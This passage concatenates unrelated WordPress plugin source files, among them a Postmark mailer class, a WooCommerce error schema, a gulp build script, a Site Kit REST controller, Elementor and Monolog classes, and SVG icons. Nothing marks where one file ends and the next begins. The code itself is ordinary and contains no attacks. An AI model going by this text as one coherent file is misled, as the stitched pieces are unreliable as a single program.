					this.setState( { product: null, loading: false, error } );
				} );
		};

		render() {
			const { error, loading, product } = this.state;

			return (
				<OriginalComponent
					{ ...this.props }
					error={ error }
					getProduct={ this.loadProduct }
					isLoading={ loading }
					product={ product }
				/>
			);
		}
	};
}, 'withProduct' );

export default withProduct;
<?php

namespace WPMailSMTP\Providers\Postmark;

use WPMailSMTP\ConnectionInterface;
use WPMailSMTP\Helpers\Helpers;
use WPMailSMTP\WP;
use WPMailSMTP\MailCatcherInterface;
use WPMailSMTP\Providers\MailerAbstract;

/**
 * Class Mailer.
 *
 * @since 3.1.0
 */
class Mailer extends MailerAbstract {

	/**
	 * URL to make an API request to.
	 *
	 * @since 3.1.0
	 *
	 * @var string
	 */
	protected $url = 'https://api.postmarkapp.com/email';

	/**
	 * Mailer constructor.
	 *
	 * @since 3.1.0
	 *
	 * @param MailCatcherInterface $phpmailer  The MailCatcher object.
	 * @param ConnectionInterface  $connection The Connection object.
	 */
	public function __construct( $phpmailer, $connection = null ) {

		// We want to prefill everything from MailCatcher class, which extends PHPMailer.
		parent::__construct( $phpmailer, $connection );

		// Set mailer specific headers.
		$this->set_header( 'X-Postmark-Server-Token', $this->connection_options->get( $this->mailer, 'server_api_token' ) );
		$this->set_header( 'Accept', 'application/json' );
		$this->set_header( 'Content-Type', 'application/json' );

		// Set mailer specific body parameters.
		$message_stream = $this->get_message_stream();

		if ( ! empty( $message_stream ) ) {
			$this->set_body_param(
				[
					'MessageStream' => $message_stream,
				]
			);
		}
	}

	/**
	 * Redefine the way custom headers are processed for this mailer - they should be in body.
	 *
	 * @since 3.1.0
	 *
	 * @param array $headers Headers array.
	 */
	public function set_headers( $headers ) {

		foreach ( $headers as $header ) {
			$name  = isset( $header[0] ) ? $header[0] : false;
			$value = isset( $header[1] ) ? $header[1] : false;

			$this->set_body_header( $name, $value );
		}

		// Add custom PHPMailer-specific header.
		$this->set_body_header( 'X-Mailer', 'WPMailSMTP/Mailer/' . $this->mailer . ' ' . WPMS_PLUGIN_VER );
		$this->set_body_header( 'Message-ID', $this->phpmailer->getLastMessageID() );
	}

	/**
	 * This mailer supports email-related custom headers inside a body of the message.
	 *
	 * @since 3.1.0
	 *
	 * @param string $name  Header name.
	 * @param string $value Header value.
	 */
	public function set_body_header( $name, $value ) {

		$name = sanitize_text_field( $name );

		if ( empty( $name ) ) {
			return;
		}

		$headers = isset( $this->body['Headers'] ) ? (array) $this->body['Headers'] : [];
		$value   = $this->sanitize_header_value( $name, $value );

		// Prevent duplicates.
		$key = array_search( $name, array_column( $headers, 'Name' ), true );

		if ( $key !== false ) {
			unset( $headers[ $key ] );
		}

		$headers[] = [
			'Name'  => $name,
			'Value' => $value,
		];

		$this->body['Headers'] = array_values( $headers );
	}

	/**
	 * Set the From information for an email.
	 *
	 * @since 3.1.0
	 *
	 * @param string $email The sender email address.
	 * @param string $name  The sender name.
	 */
	public function set_from( $email, $name ) {

		if ( ! filter_var( $email, FILTER_VALIDATE_EMAIL ) ) {
			return;
		}

		$this->set_body_param(
			[
				'From' => $this->phpmailer->addrFormat( [ $email, $name ] ),
			]
		);
	}

	/**
	 * Set email recipients: to, cc, bcc.
	 *
	 * @since 3.1.0
	 *
	 * @param array $recipients Email recipients.
	 */
	public function set_recipients( $recipients ) { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh

		if ( empty( $recipients ) ) {
			return;
		}

		$default = [ 'to', 'cc', 'bcc' ];

		foreach ( $recipients as $type => $emails ) {
			if (
				! in_array( $type, $default, true ) ||
				empty( $emails ) ||
				! is_array( $emails )
			) {
				continue;
			}

			$data = [];

			foreach ( $emails as $email ) {
				$addr = isset( $email[0] ) ? $email[0] : false;

				if ( ! filter_var( $addr, FILTER_VALIDATE_EMAIL ) ) {
					continue;
				}

				$data[] = $this->phpmailer->addrFormat( $email );
			}

			if ( ! empty( $data ) ) {
				$this->set_body_param(
					[
						ucfirst( $type ) => implode( ',', $data ),
					]
				);
			}
		}
	}

	/**
	 * Set the Reply To information for an email.
	 *
	 * @since 3.1.0
	 *
	 * @param array $emails Reply To email addresses.
	 */
	public function set_reply_to( $emails ) {

		if ( empty( $emails ) ) {
			return;
		}

		$data = [];

		foreach ( $emails as $email ) {
			$addr = isset( $email[0] ) ? $email[0] : false;

			if ( ! filter_var( $addr, FILTER_VALIDATE_EMAIL ) ) {
				continue;
			}

			$data[] = $this->phpmailer->addrFormat( $email );
		}

		if ( ! empty( $data ) ) {
			$this->set_body_param(
				[
					'ReplyTo' => implode( ',', $data ),
				]
			);
		}
	}

	/**
	 * Set email subject.
	 *
	 * @since 3.1.0
	 *
	 * @param string $subject Email subject.
	 */
	public function set_subject( $subject ) {

		$this->set_body_param(
			[
				'Subject' => $subject,
			]
		);
	}

	/**
	 * Set email content.
	 *
	 * @since 3.1.0
	 *
	 * @param string|array $content Email content.
	 */
	public function set_content( $content ) {

		if ( empty( $content ) ) {
			return;
		}

		if ( is_array( $content ) ) {
			if ( ! empty( $content['text'] ) ) {
				$this->set_body_param(
					[
						'TextBody' => $content['text'],
					]
				);
			}

			if ( ! empty( $content['html'] ) ) {
				$this->set_body_param(
					[
						'HtmlBody' => $content['html'],
					]
				);
			}
		} else {
			if ( $this->phpmailer->ContentType === 'text/plain' ) {
				$this->set_body_param(
					[
						'TextBody' => $content,
					]
				);
			} else {
				$this->set_body_param(
					[
						'HtmlBody' => $content,
					]
				);
			}
		}
	}

	/**
	 * Set attachments for an email.
	 *
	 * @since 3.1.0
	 *
	 * @param array $attachments Attachments array.
	 */
	public function set_attachments( $attachments ) {

		if ( empty( $attachments ) ) {
			return;
		}

		$data = $this->prepare_attachments( $attachments );

		if ( ! empty( $data ) ) {
			$this->set_body_param(
				[
					'Attachments' => $data,
				]
			);
		}
	}

	/**
	 * Prepare attachments data for Postmark API.
	 *
	 * @since 3.1.0
	 *
	 * @param array $attachments Array of attachments.
	 *
	 * @return array
	 */
	protected function prepare_attachments( $attachments ) {

		$data = [];

		foreach ( $attachments as $attachment ) {
			$file = $this->get_attachment_file_content( $attachment );

			if ( $file === false ) {
				continue;
			}

			$data[] = [
				'Name'        => $this->get_attachment_file_name( $attachment ),
				'Content'     => base64_encode( $file ), // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
				'ContentType' => $attachment[4],
			];
		}

		return $data;
	}

	/**
	 * Doesn't support this.
	 * Return path can be configured in Postmark account.
	 *
	 * @since 3.1.0
	 *
	 * @param string $email Return Path email address.
	 */
	public function set_return_path( $email ) { }

	/**
	 * Redefine the way email body is returned.
	 * By default, we are sending an array of data.
	 * Postmark requires a JSON, so we encode the body.
	 *
	 * @since 3.1.0
	 */
	public function get_body() {

		$body = parent::get_body();

		return wp_json_encode( $body );
	}

	/**
	 * We might need to do something after the email was sent to the API.
	 * In this method we preprocess the response from the API.
	 *
	 * @since 3.1.0
	 *
	 * @param mixed $response Response data.
	 */
	protected function process_response( $response ) {

		parent::process_response( $response );

		if (
			! is_wp_error( $response ) &&
			! empty( $this->response['body']->MessageID )
		) {
			$this->phpmailer->addCustomHeader( 'X-Msg-ID', $this->response['body']->MessageID );
			$this->verify_sent_status = true;
		}
	}

	/**
	 * Get a Postmark-specific response with a helpful error.
	 *
	 * @since 3.1.0
	 *
	 * @return string
	 */
	public function get_response_error() {

		$error_text[] = $this->error_message;

		if ( ! empty( $this->response ) ) {
			$body = wp_remote_retrieve_body( $this->response );

			// phpcs:disable WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
			if ( ! empty( $body->Message ) ) {
				$message = $body->Message;
				$code    = ! empty( $body->ErrorCode ) ? $body->ErrorCode : '';

				$error_text[] = Helpers::format_error_message( $message, $code );
			} else {
				$error_text[] = WP::wp_remote_get_response_error_message( $this->response );
			}
			// phpcs:enable WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
		}

		return implode( WP::EOL, array_map( 'esc_textarea', array_filter( $error_text ) ) );
	}

	/**
	 * Get mailer debug information, that is helpful during support.
	 *
	 * @since 3.1.0
	 *
	 * @return string
	 */
	public function get_debug_info() {

		$options = $this->connection_options->get_group( $this->mailer );

		$text[] = '<strong>' . esc_html__( 'Server API Token:', 'wp-mail-smtp' ) . '</strong> ' .
							( ! empty( $options['server_api_token'] ) ? 'Yes' : 'No' );
		$text[] = '<strong>' . esc_html__( 'Message Stream ID:', 'wp-mail-smtp' ) . '</strong> ' .
							( ! empty( $this->get_message_stream() ) ? esc_html( $this->get_message_stream() ) : 'No' );

		return implode( '<br>', $text );
	}

	/**
	 * Get the Message Stream ID.
	 *
	 * @since 3.1.0
	 *
	 * @link https://postmarkapp.com/message-streams
	 *
	 * @return string
	 */
	private function get_message_stream() {

		$message_stream = $this->connection_options->get( $this->mailer, 'message_stream' );

		/**
		 * Filters Message Stream ID.
		 *
		 * @since 3.1.0
		 *
		 * @link https://postmarkapp.com/message-streams
		 *
		 * @param string $message_stream Message Stream ID.
		 */
		return apply_filters( 'wp_mail_smtp_providers_postmark_mailer_get_message_stream', $message_stream );
	}

	/**
	 * Whether the mailer has all its settings correctly set up and saved.
	 *
	 * This mailer is configured when `server_api_token` setting is defined.
	 *
	 * @since 3.1.0
	 *
	 * @return bool
	 */
	public function is_mailer_complete() {

		$options = $this->connection_options->get_group( $this->mailer );

		if ( ! empty( $options['server_api_token'] ) ) {
			return true;
		}

		return false;
	}
}
<?php
namespace Automattic\WooCommerce\StoreApi\Schemas\V1;

/**
 * ErrorSchema class.
 */
class ErrorSchema extends AbstractSchema {
	/**
	 * The schema item name.
	 *
	 * @var string
	 */
	protected $title = 'error';

	/**
	 * The schema item identifier.
	 *
	 * @var string
	 */
	const IDENTIFIER = 'error';

	/**
	 * Product schema properties.
	 *
	 * @return array
	 */
	public function get_properties() {
		return [
			'code'    => [
				'description' => __( 'Error code', 'woocommerce' ),
				'type'        => 'string',
				'context'     => [ 'view', 'edit' ],
				'readonly'    => true,
			],
			'message' => [
				'description' => __( 'Error message', 'woocommerce' ),
				'type'        => 'string',
				'context'     => [ 'view', 'edit' ],
				'readonly'    => true,
			],
		];
	}

	/**
	 * Convert a WP_Error into an object suitable for the response.
	 *
	 * @param \WP_Error $error Error object.
	 * @return array
	 */
	public function get_item_response( \WP_Error $error ) {
		return [
			'code'    => $this->prepare_html_response( $error->get_error_code() ),
			'message' => $this->prepare_html_response( $error->get_error_message() ),
		];
	}

}
<?php
/**
 * Images list item template
 */
$settings  = $this->get_settings_for_display();
$col_class = '';
$tag       = 'a';

if ( 'grid' === $settings['layout_type'] ) {
	$col_class = jet_elements_tools()->col_classes( array(
		'desk' => $this->_get_html( 'columns' ),
		'tab'  => $this->_get_html( 'columns_tablet' ),
		'mob'  => $this->_get_html( 'columns_mobile' ),
	) );
}

$link_instance = 'link-instance-' . $this->item_counter;

$link_type = $this->_loop_item( array( 'item_link_type' ), '%s' );

$this->add_render_attribute( $link_instance, 'class', array(
	'jet-images-layout__link',
	// Ocean Theme lightbox compatibility
	class_exists( 'OCEANWP_Theme_Class' ) ? 'no-lightbox' : '',
) );

if ( 'lightbox' === $link_type ) {

	$lightbox_title = isset( $settings['lightbox_show_title'] ) ? $settings['lightbox_show_title'] : 'false';
	$lightbox_desc  = isset( $settings['lightbox_show_desc'] ) ? $settings['lightbox_show_desc'] : 'false';

	$this->add_render_attribute( 
		$link_instance,
		'href',
		esc_url( $this->_loop_item( array( 'item_image', 'url' ), '%s' ) )
	);
	$this->add_render_attribute( $link_instance, 'data-elementor-open-lightbox', 'yes' );
	$this->add_render_attribute( $link_instance, 'data-elementor-lightbox-slideshow', $this->get_id()  );

	if ( 'true' === $lightbox_title ) {
		$this->add_render_attribute( $link_instance, 'data-elementor-lightbox-title', $this->_loop_item( array( 'item_title', '%s' ) ) );
	}

	if ( 'true' === $lightbox_desc ) {
		$this->add_render_attribute( $link_instance, 'data-elementor-lightbox-description', wp_strip_all_tags( $this->_loop_item( array( 'item_desc', '%s' ) ) ) );
	}
} else if ( 'no_link' === $link_type ) {
	$tag = 'div';
} else {
	$target = $this->_loop_item( array( 'item_target' ), '%s' );
	$target = ! empty( $target ) ? $target : '_self';
	$rel    = $this->_loop_item( array( 'item_rel' ), '%s' );
	$rel    = ! empty( $rel ) ? $rel : '';

	$this->add_render_attribute(
		$link_instance,
		'href',
		esc_url( $this->_loop_item( array( 'item_url' ), '%s' ) )
	);
	$this->add_render_attribute( $link_instance, 'target', $target );
	$this->add_render_attribute( $link_instance, 'rel', $rel );
}

$this->item_counter++;

?>
<div class="jet-images-layout__item <?php echo esc_attr( $col_class ) ?>">
	<div class="jet-images-layout__inner">
		<div class="jet-images-layout__image-loader"><span></span></div>
		<<?php echo $tag?> <?php echo $this->get_render_attribute_string( $link_instance ); // phpcs:ignore ?>>
			<div class="jet-images-layout__image">
				<?php echo $this->_loop_image_item(); // phpcs:ignore ?>
			</div>
			<div class="jet-images-layout__content"><?php
				echo $this->_render_icon( 'item_icon', '<div class="jet-images-layout__icon"><div class="jet-images-layout-icon-inner">%s</div></div>', '', false ); // phpcs:ignore

				$title_tag = $this->_get_html( 'title_html_tag', '%s' );
				$title_tag = jet_elements_tools()->validate_html_tag( $title_tag );

				echo $this->_loop_item( array( 'item_title' ), '<' . $title_tag . ' class="jet-images-layout__title">%s</' . $title_tag . '>' ); // phpcs:ignore
				echo $this->_loop_item( array( 'item_desc' ), '<div class="jet-images-layout__desc">%s</div>' ); // phpcs:ignore
			?></div>
		</<?php echo esc_html( $tag ); ?>>
	</div>
</div>
<html><body bgcolor="#FFFFFF"></body></html><?php

declare (strict_types=1);
namespace ElementorProDeps\DI\Compiler;

use ElementorProDeps\DI\Factory\RequestedEntry;
/**
 * @author Matthieu Napoli <matthieu@mnapoli.fr>
 */
class RequestedEntryHolder implements RequestedEntry
{
    /**
     * @var string
     */
    private $name;
    public function __construct(string $name)
    {
        $this->name = $name;
    }
    public function getName() : string
    {
        return $this->name;
    }
}
'use strict';

const gulp = require( 'gulp' ),
	path = require( 'path' ),
	exec = require( 'child_process' ).exec,
	WP_PATH = process.env.WP_PATH || `${__dirname}${path.sep}.pub`,
	DIST_PATH = `${__dirname}${path.sep}.dist${path.sep}timeline`,
	WP_PLUGINS_PATH = [ 'wp-content', 'plugins' ].join( path.sep ),
	WP_PUB_PATH = path.join( WP_PATH, WP_PLUGINS_PATH, 'timeline' );

let rm = `rm -rf`;
if ( 'win32' === process.platform ) {
	rm = `RD /S /Q`;
}

gulp.task( 'dist.clear', ( next ) => {
	return exec( `${rm} ${DIST_PATH}`, ( error, stdout, stderr ) => {
		if ( '' !== stdout ) {
			console.log( stdout );
		}
		if ( '' !== stderr ) {
			console.log( stderr );
		}
		if ( null !== error ) {
			console.log( error );
		} else {
			next();
		}
	} );
} );

gulp.task( 'dist.admin', () => {
	return gulp.src( `${__dirname}${path.sep}admin${path.sep}**${path.sep}*` )
		.pipe( gulp.dest( `${DIST_PATH}${path.sep}admin${path.sep}` ) );
} );

gulp.task( 'dist.classes', () => {
	return gulp.src( `${__dirname}${path.sep}classes${path.sep}**${path.sep}*` )
		.pipe( gulp.dest( `${DIST_PATH}${path.sep}classes${path.sep}` ) );
} );

gulp.task( 'dist.css', () => {
	return gulp.src( `${__dirname}${path.sep}css${path.sep}**${path.sep}*` )
		.pipe( gulp.dest( `${DIST_PATH}${path.sep}css${path.sep}` ) );
} );

gulp.task( 'dist.js', () => {
	return gulp.src( `${__dirname}${path.sep}js${path.sep}**${path.sep}*` )
		.pipe( gulp.dest( `${DIST_PATH}${path.sep}js${path.sep}` ) );
} );

gulp.task( 'dist.views', () => {
	return gulp.src( `${__dirname}${path.sep}views${path.sep}**${path.sep}*` )
		.pipe( gulp.dest( `${DIST_PATH}${path.sep}views${path.sep}` ) );
} );

gulp.task( 'dist.php', () => {
	return gulp.src( [
		`${__dirname}${path.sep}timeline.php`,
		`${__dirname}${path.sep}functions.php`,
		`${__dirname}${path.sep}index.php`,
		`${__dirname}${path.sep}uninstall.php`
	] ).pipe( gulp.dest( DIST_PATH ) );
} );

gulp.task( 'dist', [
	'dist.clear',
	'dist.admin',
	'dist.classes',
	'dist.css',
	'dist.js',
	'dist.views',
	'dist.php'
] );

gulp.task( 'publish', [ 'dist' ], function() {
	return gulp.src( `${DIST_PATH}${path.sep}**` )
		.pipe( gulp.dest( WP_PUB_PATH ) );
} );

gulp.task( 'default', [ 'publish' ] );
<?php

/**
 * nistp384
 *
 * PHP version 5 and 7
 *
 * @category  Crypt
 * @package   EC
 * @author    Jim Wigginton <terrafrost@php.net>
 * @copyright 2017 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://pear.php.net/package/Math_BigInteger
 */

namespace phpseclib3\Crypt\EC\Curves;

final class nistp384 extends secp384r1
{
}<?php
/**
 * Copyright (C) 2014-2020 ServMask Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 * ███████╗███████╗██████╗ ██╗   ██╗███╗   ███╗ █████╗ ███████╗██╗  ██╗
 * ██╔════╝██╔════╝██╔══██╗██║   ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
 * ███████╗█████╗  ██████╔╝██║   ██║██╔████╔██║███████║███████╗█████╔╝
 * ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
 * ███████║███████╗██║  ██║ ╚████╔╝ ██║ ╚═╝ ██║██║  ██║███████║██║  ██╗
 * ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
 */

if ( ! defined( 'ABSPATH' ) ) {
	die( 'Kangaroos cannot jump here' );
}

class Ai1wm_Directory {

	/**
	 * Create directory (recursively)
	 *
	 * @param  string  $path Path to the directory
	 * @return boolean
	 */
	public static function create( $path ) {
		if ( @is_dir( $path ) ) {
			return true;
		}

		return @mkdir( $path, 0777, true );
	}

	/**
	 * Delete directory (recursively)
	 *
	 * @param  string  $path Path to the directory
	 * @return boolean
	 */
	public static function delete( $path ) {
		if ( @is_dir( $path ) ) {
			try {
				// Iterate over directory
				$iterator = new Ai1wm_Recursive_Directory_Iterator( $path );

				// Recursively iterate over directory
				$iterator = new Ai1wm_Recursive_Iterator_Iterator( $iterator, RecursiveIteratorIterator::CHILD_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD );

				// Remove files and directories
				foreach ( $iterator as $item ) {
					if ( $item->isDir() ) {
						@rmdir( $item->getPathname() );
					} else {
						@unlink( $item->getPathname() );
					}
				}
			} catch ( Exception $e ) {
			}

			return @rmdir( $path );
		}

		return false;
	}
}
<?php
/**
 * Class Google\Site_Kit\Core\User\REST_Conversion_Reporting_Controller
 *
 * @package   Google\Site_Kit\Core\User
 * @copyright 2024 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://sitekit.withgoogle.com
 */

namespace Google\Site_Kit\Core\User;

use Google\Site_Kit\Core\Permissions\Permissions;
use Google\Site_Kit\Core\REST_API\REST_Route;
use Google\Site_Kit\Core\REST_API\REST_Routes;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;

/**
 * Class for handling conversion reporting settings rest routes.
 *
 * @since 1.144.0
 * @access private
 * @ignore
 */
class REST_Conversion_Reporting_Controller {

	/**
	 * Conversion_Reporting_Settings instance.
	 *
	 * @since 1.144.0
	 * @var Conversion_Reporting_Settings
	 */
	private $conversion_reporting_settings;

	/**
	 * Constructor.
	 *
	 * @since 1.144.0
	 *
	 * @param Conversion_Reporting_Settings $conversion_reporting_settings Conversion_Reporting_Settings instance.
	 */
	public function __construct( Conversion_Reporting_Settings $conversion_reporting_settings ) {
		$this->conversion_reporting_settings = $conversion_reporting_settings;
	}

	/**
	 * Registers functionality through WordPress hooks.
	 *
	 * @since 1.144.0
	 */
	public function register() {
		add_filter(
			'googlesitekit_rest_routes',
			function ( $routes ) {
				return array_merge( $routes, $this->get_rest_routes() );
			}
		);

		add_filter(
			'googlesitekit_apifetch_preload_paths',
			function ( $paths ) {
				return array_merge(
					$paths,
					array(
						'/' . REST_Routes::REST_ROOT . '/core/user/data/conversion-reporting-settings',
					)
				);
			}
		);
	}

	/**
	 * Gets REST route instances.
	 *
	 * @since 1.144.0
	 *
	 * @return REST_Route[] List of REST_Route objects.
	 */
	protected function get_rest_routes() {
		$can_view_dashboard = function () {
			return current_user_can( Permissions::VIEW_DASHBOARD );
		};

		return array(
			new REST_Route(
				'core/user/data/conversion-reporting-settings',
				array(
					array(
						'methods'             => WP_REST_Server::READABLE,
						'callback'            => function () {
							return new WP_REST_Response( $this->conversion_reporting_settings->get() );
						},
						'permission_callback' => $can_view_dashboard,
					),
					array(
						'methods'             => WP_REST_Server::EDITABLE,
						'callback'            => function ( WP_REST_Request $request ) {
							$settings = $request['data']['settings'];

							$this->conversion_reporting_settings->merge( $settings );

							return new WP_REST_Response( $this->conversion_reporting_settings->get() );
						},
						'permission_callback' => $can_view_dashboard,
						'args'                => array(
							'data' => array(
								'type'       => 'object',
								'required'   => true,
								'properties' => array(
									'settings' => array(
										'type'          => 'object',
										'required'      => true,
										'minProperties' => 1,
										'additionalProperties' => false,
										'properties'    => array(
											'newEventsCalloutDismissedAt'  => array(
												'type' => 'integer',
											),
											'lostEventsCalloutDismissedAt' => array(
												'type' => 'integer',
											),
										),
									),
								),
							),
						),
					),
				)
			),
		);
	}
}
<?php
namespace ElementorPro\Modules\ThemeBuilder\Documents;

use ElementorPro\Modules\ThemeBuilder\Module as ThemeBuilderModule;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Archive_Single_Base extends Theme_Page_Document {

	/**
	 * Document sub type meta key.
	 */
	const REMOTE_CATEGORY_META_KEY = '_elementor_template_sub_type';

	public static function get_sub_type() {
		return '';
	}

	public static function get_create_url() {
		$create_url = parent::get_create_url();

		$sub_type = static::get_sub_type();

		if ( $sub_type ) {
			$create_url = add_query_arg( static::REMOTE_CATEGORY_META_KEY, static::get_sub_type(), $create_url );
		}

		return $create_url;
	}

	/**
	 * @access public
	 */
	public function save_template_type() {
		parent::save_template_type();

		$this->save_sub_type_condition();
	}

	private function save_sub_type_condition() {
		$conditions_manager = ThemeBuilderModule::instance()->get_conditions_manager();

		if ( ! empty( $_REQUEST[ self::REMOTE_CATEGORY_META_KEY ] ) ) {
			$sub_type = $_REQUEST[ self::REMOTE_CATEGORY_META_KEY ];

			if ( $conditions_manager->get_condition( $sub_type ) ) {
				$this->update_meta( self::REMOTE_CATEGORY_META_KEY, $sub_type );

				$conditions_manager->save_conditions( $this->post->ID, [
					[
						'include',
						$this->get_property( 'condition_type' ),
						$sub_type,
					],
				] );
			}
		}
	}
}
<?php

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace Google\Site_Kit_Dependencies\Monolog\Handler;

use Google\Site_Kit_Dependencies\Gelf\IMessagePublisher;
use Google\Site_Kit_Dependencies\Gelf\PublisherInterface;
use Google\Site_Kit_Dependencies\Gelf\Publisher;
use InvalidArgumentException;
use Google\Site_Kit_Dependencies\Monolog\Logger;
use Google\Site_Kit_Dependencies\Monolog\Formatter\GelfMessageFormatter;
/**
 * Handler to send messages to a Graylog2 (http://www.graylog2.org) server
 *
 * @author Matt Lehner <mlehner@gmail.com>
 * @author Benjamin Zikarsky <benjamin@zikarsky.de>
 */
class GelfHandler extends \Google\Site_Kit_Dependencies\Monolog\Handler\AbstractProcessingHandler
{
    /**
     * @var Publisher|PublisherInterface|IMessagePublisher the publisher object that sends the message to the server
     */
    protected $publisher;
    /**
     * @param PublisherInterface|IMessagePublisher|Publisher $publisher a publisher object
     * @param int                                            $level     The minimum logging level at which this handler will be triggered
     * @param bool                                           $bubble    Whether the messages that are handled can bubble up the stack or not
     */
    public function __construct($publisher, $level = \Google\Site_Kit_Dependencies\Monolog\Logger::DEBUG, $bubble = \true)
    {
        parent::__construct($level, $bubble);
        if (!$publisher instanceof \Google\Site_Kit_Dependencies\Gelf\Publisher && !$publisher instanceof \Google\Site_Kit_Dependencies\Gelf\IMessagePublisher && !$publisher instanceof \Google\Site_Kit_Dependencies\Gelf\PublisherInterface) {
            throw new \InvalidArgumentException('Invalid publisher, expected a Gelf\\Publisher, Gelf\\IMessagePublisher or Gelf\\PublisherInterface instance');
        }
        $this->publisher = $publisher;
    }
    /**
     * {@inheritdoc}
     */
    protected function write(array $record)
    {
        $this->publisher->publish($record['formatted']);
    }
    /**
     * {@inheritDoc}
     */
    protected function getDefaultFormatter()
    {
        return new \Google\Site_Kit_Dependencies\Monolog\Formatter\GelfMessageFormatter();
    }
}
/**
 * External dependencies
 */
import { Disabled } from '@wordpress/components';
import {
	AlignmentToolbar,
	BlockControls,
	useBlockProps,
} from '@wordpress/block-editor';
import { useEffect } from '@wordpress/element';

/**
 * Internal dependencies
 */
import Block from './block';

const Edit = ( { attributes, setAttributes, context } ) => {
	const blockProps = useBlockProps();
	const isDescendentOfQueryLoop = Number.isFinite( context.queryId );

	useEffect(
		() => setAttributes( { isDescendentOfQueryLoop } ),
		[ setAttributes, isDescendentOfQueryLoop ]
	);
	return (
		<>
			<BlockControls>
				{ isDescendentOfQueryLoop && (
					<AlignmentToolbar
						value={ attributes.textAlign }
						onChange={ ( newAlign ) => {
							setAttributes( { textAlign: newAlign || '' } );
						} }
					/>
				) }
			</BlockControls>
			<div { ...blockProps }>
				<Disabled>
					<Block { ...{ ...attributes, ...context } } />
				</Disabled>
			</div>
		</>
	);
};

export default Edit;
<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M3.27 5L2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21 18 19.73 3.55 5.27 3.27 5zM6 5v.18L8.82 8h2.4l-.72 1.68 2.1 2.1L14.21 8H20V5H6z"/></svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="flag-icons-kh" viewBox="0 0 512 512">
  <path fill="#032ea1" d="M0 0h512v512H0z"/>
  <path fill="#e00025" d="M0 128h512v256H0z"/>
  <g fill="#fff" stroke="#000" transform="matrix(1.28 0 0 1.28 6 -556.7)">
    <g stroke-linejoin="bevel">
      <path d="M139 623.5h113.8v43.8H139z"/>
      <path d="M247 647.6h3.5v16.5H247zm-108-8.1h113.8v5H139zm0-7h113.8v4.6H139z"/>
      <path stroke-width=".9" d="M139 625.7h113.8v4.3H139z"/>
      <path d="M169 647.6h3.6v16.5H169zm49 0h3.6v16.5H218zm-78 0h3.5v16.5H140zm7 0h3.5v16.5H147zm7.5 0h3.5v16.5h-3.5zm7.5 0h3.5v16.5H162zm62.8 0h3.6v16.5h-3.6zm7.5 0h3.6v16.5h-3.6zm7.5 0h3.6v16.5h-3.6z"/>
      <path stroke-linejoin="miter" d="M94.5 669.5a9.3 9.3 0 0 0 4.4-5.3H292a9.3 9.3 0 0 0 4.4 5.3z"/>
    </g>
    <path d="M193 556.8s-.1-4.1 2.3-4.2c2.3 0 2.2 4.2 2.2 4.2zm-12.5 54.5v-5.5c0-2.8-2.8-3-2.8-5 0 0-.4-3 .4-4.4 1.1 4 3 3.3 3 1.6 0-1.4-1-2.8-3.3-6.3-.8-1.1-.3-4.6.7-5.9.4 3 .9 4.5 2.2 4.5.8 0 1.4-.5 1.4-2 0-2-1.3-3-2-4.8a5 5 0 0 1 1.1-5.3c.5 3 .4 4.2 1.7 4.2 2.7-.9 0-4.8-.6-5.8-.6-1.1 1-3.4 1-3.4.8 2.7 1 2.9 2 2.6 1.2-.3 1-2-.4-3.4-.9-1-.8-2.3.2-3.3 1 1.9 2.2 1.8 2.3.6l-.8-4.4H204l-.9 4.3c-.2 1.2 1.4 1.5 2.4-.5 1 1 1.1 2.4.2 3.3-1.4 1.4-1.6 3.1-.4 3.4 1 .3 1.2 0 2-2.6 0 0 1.5 1.5 1 3.4-.6 1-3.3 5-.6 5.8 1.3 0 1.2-1.2 1.7-4.2a5 5 0 0 1 1 5.3c-.6 1.8-2 2.8-2 4.8 0 1.5.7 2 1.5 2 1.3 0 1.8-1.4 2.2-4.5 1 1.3 1.5 4.8.7 6-2.3 3.4-3.4 4.8-3.4 6.2 0 1.7 2 2.4 3-1.6.9 1.4.5 4.4.5 4.4 0 2-2.7 2.2-2.8 5v5.5zm7.2-46-.4-3.1h15.9l-.4 3.1zm1-3.2-.2-2.5H202l-.3 2.5zm2.3-2.6-.3-2.6h9l-.1 2.6zm33 110c-2-.7-5-2.9-5-5v-24.3l2.6-3.4H169l2.5 3.4v24.3c0 2.1-2 4.3-4 5z"/>
    <path stroke-linejoin="bevel" d="M178.2 647.6h3.6v16.5h-3.6zm30.4 0h3.6v16.5h-3.6z"/>
    <path d="M168 609.2v27.6h54v-27.6a4.2 4.2 0 0 0-2.6 2.8v11.8h-48.7V612s-.6-2-2.8-2.8z"/>
    <path d="M214.6 669.5c-1.8-.7-5.6-2.9-5.6-5v-27.2c.4-1.5 2.4-2.4 3.7-3.4H177c1.7 1 3.6 1.7 4.3 3.4v27.2c0 2.1-3 4.3-4.8 5z"/>
